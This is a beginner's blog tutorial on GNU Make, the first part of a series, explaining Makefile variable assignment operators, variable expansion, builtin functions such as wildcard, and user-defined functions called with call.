In this multi-part series, I will be covering Makefiles and the general behavior of Make itself. The only real prerequisite knowledge needed is a general understanding of Bash and the common Bash builtins. We are going to cover variables, functions, builtins (variables and functions), rules, and recipes. By the time you are done with this series, you should have a confident grasp of Makefiles and have the ability to quickly get started with any project. However, before I get started I'd like to make a few points. First, this series is not intended to serve as a reference for Make. Instead, it will give you a basic understanding of how to get started and, more importantly, it will give you a set of keywords to supplement your googlefu. Secondly, the snippets and examples that follow are tested using GNU Make v4.1. There exist several different versions and indeed completely different implementations of Make. There may be slight syntax differences in these different versions and implementations of Make, but the keywords in this series should point you in the right direction.

# Part 1a: Make Variables

Makefiles, at a very basic level, are more or less script files. They allow the user to define functions, variables, they begin "execution" from the first line, and continue until termination. To define a variable in a Makefile, simply declare it with a name, followed by an assignment operator, followed by the value. For example: `FOO = BAR` will define a variable named `FOO`, with the value `BAR`. The actual value you set only becomes important in the context which it is used. Syntactically speaking, there is no requirement that Makefile variables be capitalized, but it immediately distinguishes them from functions and builtins; to each their own.

Although Make variables behave similar to Environmental Variables, these values are not globally set. For example, if you define some value `FOO` in your makefile, you will not see that value present in your C file (unless you explicitly instruct your compiler to). Similar to Bash, Make does not really have a type system, a variable defined to a string can later be assigned to an integer. Make itself is intelligent enough to be able to make the distinction between them at runtime. That being said, it is probably best to avoid storing different types in a variable.

There are a series of [assignment operators](https://www.gnu.org/software/make/manual/html_node/Setting.html) in Make, and all of them behave slightly differently. Before I get into them, there is a concept which needs introducing, and that is expansion. If you are familiar with Bash and linux Environmental Variables, you should be familiar with the concept of expansion. Essentially, expansion is the evaluation of an assignment, whether it contains references to other variables or functions. Depending on the desired level of expansion, you can run into issues such as infinite recursion and infinite self-references. To address these issues, the authors of Make created different operators (actual operators in quotes to avoid confusion):

- "=": Variable assignment using *recursive* expansion.
- ":=" and "::=": ["Simple" variable assignment](https://www.gnu.org/software/make/manual/html_node/Flavors.html#Flavors) using only a single level of expansion. This prevents infinite expansion or self reference. The difference between the single-colon and double-colon versions seems to be POSIX compliance, and does not work on older versions of Make.
- "?=": Conditional variable assignment operator. This assignment will only occur if the variable being assigned to does not already exist. This is helpful for creating defaults for values which can be passed on the command line. Note that an empty value **does** count as being defined in Make.
- "+=": [Append](https://www.gnu.org/software/make/manual/html_node/Appending.html) assignment operator. This operator concatenates a space followed by the assigned value. `FOO += bar` is the equivalent of saying `FOO := $(FOO) bar`. Note that we are using `:=` for a self-reference, using `=` can cause issues.

Now that we can define variables, how do we refer to them in the rest of the Makefile? Both variables and builtins are referred to using the `$()` operator, for example:

    FOO := foo
    BAR := $(FOO) bar
    

If you were to echo `BAR` in this Makefile, you would find that it contains `foo bar`.  This shows not only variable reference, but Make's extremely simple concatenation. Again, if you are familiar with Bash this should all be familiar. Let's break down exactly how this works. First, we assign the value of `FOO` using one level of expansion. The value we set is fixed, there are no variable references or builtins to expand, it's simply set. `BAR`, on the other hand, must expand the variable reference to `FOO`, get it's value, and concatenate " bar" onto it. Note the space.

# Part 1b, Make builtin functions

[Calling functions](https://www.gnu.org/software/make/manual/html_node/Syntax-of-Functions.html#Syntax-of-Functions) in Makefiles is similar to the way that variables are referenced, wih the `$()` operator. This is true for both builtin functions, and user-defined functions, however user-defined functions are slightly different. In a Makefile, it is possible to define custom functions, but they are rarely used, so I will primarily focus on using builtin functions. For the sake of brevity, I will not be covering every single builtin available to you in Make, but I will cover how they are used, and what kind of functions are available to you.

To call a function in Make, you first need to know the name of the function, and the arguments which it accepts. The arguent system in Make is not so concrete as you might expect, instead it differs slightly from function to function. For instance,
`FOO := $(wildcard *.c)` creates a variable called `FOO` and assigns the value to the output of the [wildcard](https://www.gnu.org/software/make/manual/html_node/Wildcard-Function.html) function. This function outputs the names of all files in the current directory which match the specified pattern. The wildcard is commonly used for automatic source file detection in simple projects. Along with the wildcard function, there are several other types of functions which are available in Make:

- [Text Functions](https://www.gnu.org/software/make/manual/html_node/Text-Functions.html#Text-Functions): General text manipulation functions. They can be used to do things like substitutions, pattern-based subsitutions, changing file extensions, etc
- [Conditional Functions](https://www.gnu.org/software/make/manual/html_node/Conditional-Functions.html#Conditional-Functions): Provide a mechanism to implement a structure of logic within the Makefile.
- [File](https://www.gnu.org/software/make/manual/html_node/File-Function.html#File-Function) and [File Name](https://www.gnu.org/software/make/manual/html_node/File-Name-Functions.html#File-Name-Functions) Functions: Provides the user with utilities to manipulate file names, and do simple file I/O
- [Call Function](https://www.gnu.org/software/make/manual/html_node/Call-Function.html#Call-Function): Allows the user to call user-defined functions.

This is not an exhaustive list, for the full list of builtin functions see [this](https://www.gnu.org/software/make/manual/html_node/Functions.html).

# Part 1c, user-defined functions

Like some of the features in Make, user-defined functions exist to cover certain edge cases. You should not need them, but if you do you'll *really* need them. If you're familiar with C/C++ macros, then you will already be familiar with how Make user-defined functions work. The [O'Rielly Make open book](https://www.oreilly.com/openbook/make3/book/ch04.pdf) is a very good reference for user-defined functions. These functions must be defined on a single line, but the standard backslash notation will allow the user to split a function on to multiple lines.

    define myfunction
        echo "Hello, World!"
    

To call this function, you use the `call` builtin function, `$(call myfunction)`

This section is glossed over for a few reasons. Chances are if you're using a Makefile user-defined function you're probably Doing It Wrong™, it's already quite well documented in the linked book, and it's a fairly advanced feature of Make.


801 Labs Research Portal

Research, How-To's, Stories, & More